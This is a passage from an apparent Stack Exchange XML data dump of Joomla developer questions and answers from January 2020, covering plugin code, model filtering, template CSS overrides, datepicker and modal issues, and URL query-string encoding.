&amp;amp;&amp;amp; $data-&amp;gt;id &amp;gt; 0) // admin user edit form, and not creating a new user&#xA;    {&#xA;        $systemUsergroups = array(&quot;Super Users&quot;, &quot;Manager&quot;);   // change to suit your system usergroups&#xA;        $user = JFactory::getUser($data-&amp;gt;id);   // get details of user being edited &#xA;        $usergrouphelper = JHelperUsergroups::getInstance();   &#xA;        $usergroups = $usergrouphelper-&amp;gt;getAll();   // get all usergroups on the system via the helper class&#xA;        foreach ($usergroups as $usergroup)&#xA;        {   // for each usergroup, check if the usergroup is in your systems usergroup, and if this user belongs to that usergroup&#xA;            if (in_array($usergroup-&amp;gt;id, $user-&amp;gt;groups) &amp;amp;&amp;amp; in_array($usergroup-&amp;gt;title, $systemUsergroups))&#xA;            {&#xA;                $form-&amp;gt;removeGroup('com_fields');&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By way of explanation … &#xA;The plugin checks that it's the administrator Edit User form that's being shown and that an existing user is being edited. It then checks if the user being edited has a usergroup which belongs to the $systemUsergroups array, and if so then the function removes the custom fields from the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here's the plugin xml file I used - in a directory plg_user_remove_custom_fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.8&quot; type=&quot;plugin&quot; group=&quot;user&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;User - remove custom fields&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Plugin to remove custom fields of admin user edit&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;remove_custom_fields&quot;&amp;gt;remove_custom_fields.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, make sure that this plugin is triggered after the System - Fields plugin, via the ordering on the admin plugins page. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-01-08T17:14:10.480" LastActivityDate="2020-01-08T17:14:10.480" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26616" PostTypeId="2" ParentId="23901" CreationDate="2020-01-07T22:31:44.023" Score="0" Body="&lt;p&gt;In case you have something else triggered by the click that opens the collapse, this will work as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $('a[href=&quot;' + window.location.hash + '&quot;]').click();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing you need to watch for in doing either of these approaches is javascript load order. It's always possible jQuery may not have loaded by this time (in which case you'll get an error about '$') or in noConflict mode (try again replacing '$' with 'jQuery') or that the collapse plug-in hasn't loaded yet (when the call to 'collapse()' will toss a null object/method error). Javascript is funny that way, especially when attributes like 'async' are added to script tags because Google says that makes the page load faster.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-01-07T22:31:44.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26617" PostTypeId="1" CreationDate="2020-01-08T05:44:53.090" Score="0" ViewCount="32" Body="&lt;p&gt;I'm not quite sure how Joomla's file structure works.  I am using the &lt;a href=&quot;https://www.joomlart.com/joomla/templates/ja-mero&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ja Mero template&lt;/a&gt; from JoomlArt, but haven't used it much.  It looks like the &lt;a href=&quot;http://www.t3-framework.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;T3 Framework&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generated filepath appears to be:  &lt;code&gt;t3-assets/css/css-d8be1-56919.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find this style sheet to make changes.  Can someone help me to find it? &lt;/p&gt;&#xA;" OwnerUserId="14034" LastEditorUserId="12352" LastEditDate="2020-01-08T07:04:31.813" LastActivityDate="2020-01-08T07:04:31.813" Title="How can I make changes to JoomlArt's &quot;Ja Mero&quot; template's style sheet?" Tags="|joomla-3.x|templates|css|joomlart|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26618" PostTypeId="1" CreationDate="2020-01-08T09:22:41.470" Score="2" ViewCount="2527" Body="&lt;p&gt;I'm using Joomla 3.9.14 Release and am no longer able to add new articles or extensions. The original installation was 3.7.x on which I recently encountered this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the main administrator page, under Maintenance, I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla is up to date&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unknown extensions...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I click on the latter, I get a page saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An error has occurred. 1062 Duplicate entry '0' for key 'PRIMARY'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Components -&gt; Joomla Update yields the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saving an article shows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Save failed with the following error: Duplicate entry '0' for key 'PRIMARY'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I attempt to install a plugin, e.g. 'CookieHint', either through Web or through Package upload, I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning&lt;br&gt;&#xA;  Duplicate entry '0' for key 'PRIMARY'&lt;br&gt;&#xA;  Error installing plugin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When enabling Debug mode in Global Configuration, I get following trace when clicking &quot;Unknown extensions...&quot; again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;An error has occurred.&#xA;1062 Duplicate entry '0' for key 'PRIMARY'&#xA;E:\HostingSpaces\(USERNAMEREMOVED)\(SITENAMEREMOVED)\wwwroot\libraries\joomla\database\driver\mysqli.php:665&#xA;Call stack&#xA;#   Function    Location&#xA;1   ()  JROOT\libraries\joomla\database\driver\mysqli.php:665&#xA;2   JDatabaseDriverMysqli-&gt;execute()    JROOT\libraries\joomla\database\driver.php:1421&#xA;3   JDatabaseDriver-&gt;insertObject() JROOT\libraries\src\Table\Table.php:805&#xA;4   Joomla\CMS\Table\Table-&gt;store() JROOT\libraries\src\Updater\Updater.php:177&#xA;5   Joomla\CMS\Updater\Updater-&gt;findUpdates()   JROOT\administrator\components\com_installer\models\update.php:258&#xA;6   InstallerModelUpdate-&gt;findUpdates() JROOT\administrator\components\com_installer\controllers\update.php:102&#xA;7   InstallerControllerUpdate-&gt;find()   JROOT\libraries\src\MVC\Controller\BaseController.php:710&#xA;8   Joomla\CMS\MVC\Controller\BaseController-&gt;execute() JROOT\administrator\components\com_installer\installer.php:19&#xA;9   require_once()  JROOT\libraries\src\Component\ComponentHelper.php:402&#xA;10  Joomla\CMS\Component\ComponentHelper::executeComponent()    JROOT\libraries\src\Component\ComponentHelper.php:377&#xA;11  Joomla\CMS\Component\ComponentHelper::renderComponent() JROOT\libraries\src\Application\AdministratorApplication.php:101&#xA;12  Joomla\CMS\Application\AdministratorApplication-&gt;dispatch() JROOT\libraries\src\Application\AdministratorApplication.php:159&#xA;13  Joomla\CMS\Application\AdministratorApplication-&gt;doExecute()    JROOT\libraries\src\Application\CMSApplication.php:196&#xA;14  Joomla\CMS\Application\CMSApplication-&gt;execute()    JROOT\administrator\index.php:51&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;System -&gt; Clear Cache &amp;amp; Clear Expired Cache: OK&lt;/li&gt;&#xA;&lt;li&gt;Update Joomla to the latest release: OK&lt;/li&gt;&#xA;&lt;li&gt;Extensions -&gt; Manage -&gt; Database -&gt; Fix: yields &lt;code&gt;Database table structure is up to date.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extensions -&gt; Manage -&gt; Update Sites -&gt; Rebuild: yields &lt;code&gt;Update sites have been rebuilt from manifest files.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extensions -&gt; Languages -&gt; Install Languages: succesfully updated to 3.9.14.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Joomla site that I'm using is pretty standard (few articles only, no plugins/extensions, I manually added IIRC except for a language pack).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PHP version is 7.3.4 (on &lt;code&gt;Windows NT S057 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64&lt;/code&gt;). Using &lt;code&gt;protostar&lt;/code&gt; as template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I can try next and/or how to debug further?&lt;/p&gt;&#xA;" OwnerUserId="14035" LastEditorUserId="12352" LastEditDate="2020-01-08T12:43:59.997" LastActivityDate="2021-08-25T19:50:35.810" Title="Unknown extensions - 1062 Duplicate entry '0' for key 'PRIMARY'" Tags="|joomla-3.x|extensions|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26619" PostTypeId="1" AcceptedAnswerId="26624" CreationDate="2020-01-08T10:34:12.027" Score="0" ViewCount="171" Body="&lt;p&gt;I currently have a problem with an ajax call in my new module. the filters are not used. Here is an extract of the relevant lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$articleid    = $data_decoded-&amp;gt;articleid;&#xA;&#xA;// Get an instance of the generic articles model&#xA;require_once(JPATH_ADMINISTRATOR . '/components/com_content/models/articles.php');&#xA;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;$model-&amp;gt;setState('filter.article_id', $articleid);&#xA;&#xA;return $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$articleid contains the searched article ID as an integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function returns the complete list of existing articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to receive the searched article and / but filter also to check for access restrictions &amp;amp; published state...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added:&#xA;If i am using the Article Model like used below, i can also not filter is that correct? (it returns an empty article object)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_ADMINISTRATOR . '/components/com_content/models/article.php');&#xA;$model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;    $model-&amp;gt;setState('filter.article_id', 22);&#xA;&#xA;    return $model-&amp;gt;getItem();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's just a stupid mistake or i misunderstood something, but I just don't see...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your feedback&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-01-08T11:21:31.180" LastActivityDate="2020-01-09T20:20:15.590" Title="Ajax Call: Problem with filter in Article &amp; Articles Model in Module Context" Tags="|module|articles|ajax|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26620" PostTypeId="1" CreationDate="2020-01-08T11:52:30.437" Score="0" ViewCount="115" Body="&lt;p&gt;I am trying to reduce the amount of space above and below the image which is in the masthead postion using the image module. Any help welcomed. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/HEcWB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HEcWB.png&quot; alt=&quot;masthead&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14037" LastActivityDate="2020-01-12T17:37:25.810" Title="Removing space purity 3" Tags="|positions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26622" PostTypeId="1" CreationDate="2020-01-09T11:28:40.897" Score="0" ViewCount="157" Body="&lt;p&gt;Can someone help please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a simple component which displays events.  The component allows events to be submitted from the frontend.  The form uses the Joomla datepicker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm experiencing is when I click on a date in the datepicker it doesn't populate/fill the field. The placeholder doesn't show either.  Also, I can't manually type in the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have an equivalent form in the backend which also uses the datepicker and that works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One interesting thing I've discovered is, if I switch from my template to the 'protostar' template I still experience the problem, but if I switch to the 'Beez3' template the datepicker and field works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BeZ71.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BeZ71.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13704" LastEditorUserId="13704" LastEditDate="2020-01-09T13:19:23.323" LastActivityDate="2020-01-09T13:19:23.323" Title="Joomla datepicker field issue" Tags="|templates|form|form-fields-types|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="26624" PostTypeId="2" ParentId="26619" CreationDate="2020-01-09T20:20:15.590" Score="1" Body="&lt;p&gt;Administrator side's &lt;code&gt;ContentModelArticles&lt;/code&gt; does not support filtering by ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ContentModelArticle&lt;/code&gt; does support it. The state property name is &lt;code&gt;article.id&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;setState('article.id', $articleId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this is a frontend module you might want to use the frontend articles model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register frontend model classes.&#xA;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');&#xA;&#xA;// Get the articles model.&#xA;$model = JModelLegacy::getInstance('Articles', 'ContentModel', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;// Set up dummy params to prevent errors.&#xA;$model-&amp;gt;setState('params', new JRegistry);&#xA;&#xA;// Filter by article IDs.&#xA;$model-&amp;gt;setState('filter.article_id', $articleIds);&#xA;&#xA;// Get the articles.&#xA;$articles = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-01-09T20:20:15.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26625" PostTypeId="1" CreationDate="2020-01-09T21:52:40.960" Score="0" ViewCount="284" Body="&lt;p&gt;I'm using the latest build of J!4. I have a component that has library files under &lt;code&gt;joomla_root\libraries\mycomponent&lt;/code&gt; but the namespaced files in this directory aren't loaded by Joomla! 4 autoloader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the way to do it in Joomla4?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2020-01-09T23:41:22.570" LastActivityDate="2020-01-09T23:41:22.570" Title="Load namespaced library from component in J!4" Tags="|custom-component|joomla-4|libraries|autoload|namespace|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26627" PostTypeId="1" CreationDate="2020-01-11T07:30:38.593" Score="1" ViewCount="698" Body="&lt;p&gt;I am developing a custom module in Joomla4 alpha, using a bootstrap rendered modal window so that the user of the component will assign images from media in the Joomla back end to the extension gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla3.x, there are insert and close buttons when the modal window comes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla4, there is not or I am missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html .= JHtmlBootstrap::renderModal(&#xA;             'myModal',&#xA;             array(&#xA;                 'url' =&amp;gt; Uri::root() . 'administrator/index.php?option=com_media&amp;amp;amp;tmpl=component&amp;amp;amp;e_name=myslideimgname&amp;amp;amp;asset=com_modules&amp;amp;amp;author=&amp;amp;amp;path=' . '&amp;amp;amp;' . JSession::getFormToken() . '=1&quot;',&#xA;                 'width' =&amp;gt; '620px',&#xA;                 'height' =&amp;gt; '390px'&#xA;             )&#xA;         );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Joomla3.x, there is &lt;code&gt;view=images&lt;/code&gt; in which the two buttons were added in its layout, in Joomla4 alpha there is not such a view, only file and media views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way around this problem is to make the user create a folder in the images folder of Joomla, add images there, then read those images in the layout of the extension from the folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if there is a solution to add the insert button, I would rather employ it.&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="12352" LastEditDate="2020-01-13T12:56:46.260" LastActivityDate="2020-01-29T07:53:57.743" Title="Joomla 4 alpha display modal with insert image button" Tags="|administrator|bootstrap|modal|media-manager|joomla-4|" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="26628" PostTypeId="2" ParentId="26620" CreationDate="2020-01-12T17:37:25.810" Score="1" Body="&lt;p&gt;I can see you've got the Chrome devtools displayed in the image you uploaded. Using them, if you go to the right hand side and click on the Computed tab then you will see the box model for the html element you've highlighted on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I installed Purity 3 on my Joomla instance it showed for the element you highlighted a box which had padding of 100 pixels top and bottom, so that's where your extra white space is coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then click on the devtools Styles tab and go down it till you find &lt;code&gt;padding: 100px&lt;/code&gt; (or whatever it is on your instance) it will then show you the relevant CSS selectors which in my instance are &lt;code&gt;.page-masthead .row-feature&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is override what is defined by default in this template, and you do this by specifying what you want in a &lt;code&gt;custom.css&lt;/code&gt; file which you put in your &lt;code&gt;templates/purity_iii/css&lt;/code&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try putting something like the following in that &lt;code&gt;custom.css&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-masthead .row-feature {&#xA;padding: 5px 0; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need to repeat this for other elements enclosed within this element to fine-tune to exactly what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Defining your overrides in this custom.css file should mean that they shouldn't be overridden if you upgrade the purity 3 template (but it's always prudent to keep a backup offline, just in case).&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-12T17:37:25.810" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26629" PostTypeId="1" AcceptedAnswerId="26631" CreationDate="2020-01-13T00:59:44.787" Score="0" ViewCount="204" Body="&lt;p&gt;I'm updating a component of mine to use the &lt;code&gt;renderFieldset&lt;/code&gt; method and remove some unnecessary code in the form template files. However, some of my fields show / hide based on other preferences in the component. Is there a way to add any kind of show / hide logic when using the &lt;code&gt;renderFieldset&lt;/code&gt; method? Or would I have to manually parse the form and output the logic inline as I'm doing currently?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2020-01-13T11:32:58.067" Title="Optional fields in renderFieldset" Tags="|component|custom-component|jform|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26630" PostTypeId="1" AcceptedAnswerId="26646" CreationDate="2020-01-13T04:59:02.520" Score="2" ViewCount="555" Body="&lt;p&gt;I would like some help in using the delete() methods of the AdminController and AdminModel when in a front end list view to avoid duplicating code unnecessarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a listing of records in a frontend view for my component and I have  added a checkbox for each line and a toolbar button to delete selected records. The delete button works in that the records selected in the view are available to the subcontroller via &lt;code&gt;$this-&amp;gt;input-&amp;gt;get('cid', array(), 'array');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed examples of how to put a method in my subcontroller that did enough to delete the records but some of the examples were more or less a cut and paste of the delete() methods in the AdminController and AdminModel. I would like to follow DRY principles and reduce my front in code where possible therefore I have been hacking away trying to invoke these Admin methods directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to the two classes I would like to use.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/MVC/Controller/AdminController.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/MVC/Controller/AdminController.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;starting on line 111.&#xA;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/MVC/Model/AdminModel.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/MVC/Model/AdminModel.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;starting on line 820.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the comment by Robbie Jackson I have updated the sample code to show what almost works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In .../views/items/view.html.php I have this line for the toolbar button.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ToolbarHelper::deleteList('COM_INVENTORY_DELETE_CONFIRM','item.delete', 'COM_INVENTORY_DELETE_CONFIRM');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In .../model/item.php I now have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\MVC\Model\AdminModel;&#xA;use Joomla\CMS\Table\Table;&#xA;...&#xA;class InventoryModelItem extends AdminModel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In .../controller/item.php I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\MVC\Controller\AdminController;&#xA;use ...&#xA;&#xA;&#xA;/**&#xA; * Item controller class.&#xA; */&#xA;class InventoryControllerItem extends AdminController&#xA;{&#xA;    .... unrelated methods ....&#xA;&#xA;    public function delete()&#xA;    {&#xA;         ...&#xA;          $model = $this-&amp;gt;getModel('Item', 'InventoryModel');&#xA;          $cid = ArrayHelper::toInteger($cid);&#xA;          if ($model-&amp;gt;delete($cid))&#xA;          ...&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As well as extending the AdminController and AdminModel I had to replace &lt;code&gt;$model = $this-&amp;gt;getModel();&lt;/code&gt; with  &lt;code&gt;$model = $this-&amp;gt;getModel('Item', 'InventoryModel');&lt;/code&gt; in my delete() method of the subcontroller to make it work. Without it $model was empty and it would fail on &lt;code&gt;$model-&amp;gt;delete($cid)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while it can work, it still requires me to cut and paste the whole delete() method from AdminController just to specify my model, item, in item.php which is the default model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is something I am missing to make &lt;code&gt;$this-&amp;gt;model()&lt;/code&gt; find my model without me having to specify it implicitly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even any reference to help show how to use more Admin functionality in the front end would be appreciated, it sometimes feel like two different worlds. :)&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-01-13T23:10:47.623" LastActivityDate="2020-01-15T14:30:41.360" Title="In front end of component use the Admin controller and model to delete records" Tags="|joomla-3.x|development|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26631" PostTypeId="2" ParentId="26629" CreationDate="2020-01-13T11:32:58.067" Score="0" Body="&lt;p&gt;You can use the Form API &lt;code&gt;setFieldAttribute()&lt;/code&gt; method to set the attribute of a field based on your config params. Then when you do &lt;code&gt;renderFieldset()&lt;/code&gt; - which basically just does a &lt;code&gt;renderField()&lt;/code&gt; for each of the fields in the fieldset - the revised field attribute will be taken into account when that field is rendered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you probably want to do is something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form = getForm(...);&#xA;if (&quot;myfield1&quot; should be hidden)&#xA;{&#xA;    $form-&amp;gt;setFieldAttribute(&quot;myfield1&quot;, &quot;type&quot;, &quot;hidden&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &quot;myfield1&quot; is the name of the field you want to hide. Then do, as normal: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;renderFieldset(&quot;xxx&quot;);    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-13T11:32:58.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26632" PostTypeId="1" AcceptedAnswerId="26640" CreationDate="2020-01-13T13:56:11.737" Score="3" ViewCount="233" Body="&lt;p&gt;I often see Joomla url querystrings with &lt;code&gt;&amp;amp;amp;&lt;/code&gt; delimiters between key-value pairs instead of the standard &lt;code&gt;&amp;amp;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a previous question, &lt;em&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/23899/12352&quot;&gt;How to make my Editor plugin (type: editors-xtd) survive after updates?&lt;/a&gt;&lt;/em&gt;, I demonstrated the call of &lt;code&gt;http_build_query()&lt;/code&gt; (which I think more Joomla developers should adopt as standard practice to improve code readability and stability) to aid in the declaration of the &lt;code&gt;$button-&amp;gt;link&lt;/code&gt; value in my &lt;code&gt;onDisplay()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I got my flawed code working, I realised that the default delimiter (&lt;code&gt;&amp;amp;&lt;/code&gt;) worked just as well as its html entity (&lt;code&gt;&amp;amp;amp;&lt;/code&gt;) which is commonly used. Granted, I didn't spend any time testing different scenarios to try to break it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question today is: &lt;strong&gt;Why do I see &lt;code&gt;&amp;amp;amp;&lt;/code&gt; so frequently used in url query strings?&lt;/strong&gt; Does Joomla even need it anymore?  More specifically, what are some known scenarios in which &lt;code&gt;&amp;amp;&lt;/code&gt; will fail and &lt;code&gt;&amp;amp;amp;&lt;/code&gt; will succeed?  Are there any trustworthy references/documents on this topic relating specifically to Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did casually ask Sharky about this in chat @ &lt;a href=&quot;https://chat.stackexchange.com/transcript/message/48851670#48851670&quot;&gt;https://chat.stackexchange.com/transcript/message/48851670#48851670&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] can you explain why your solution (and several others that I have seen) are using &amp;amp; in $button-&gt;link while my original script works fine with just &amp;amp;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sharky responded with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My guess is ampersand is escaped for compatibility with older browsers/templates and HTML validity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Would anyone like to weigh in on Sharky's assertion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, no matter which delimiter you choose, &lt;code&gt;http_build_query()&lt;/code&gt; can/should be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/Wjuko&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_string = [&#xA;    'one'   =&amp;gt; 1,    &#xA;    'two'   =&amp;gt; '',&#xA;    'three' =&amp;gt; null,        // gets omitted&#xA;    'four'  =&amp;gt; ' ',         // gets encoded&#xA;    'five'  =&amp;gt; &quot;&amp;amp;test=test&quot; // gets encoded&#xA;];&#xA;&#xA;echo http_build_query($query_string);&#xA;echo &quot;\n---\n&quot;;&#xA;echo http_build_query($query_string, '', 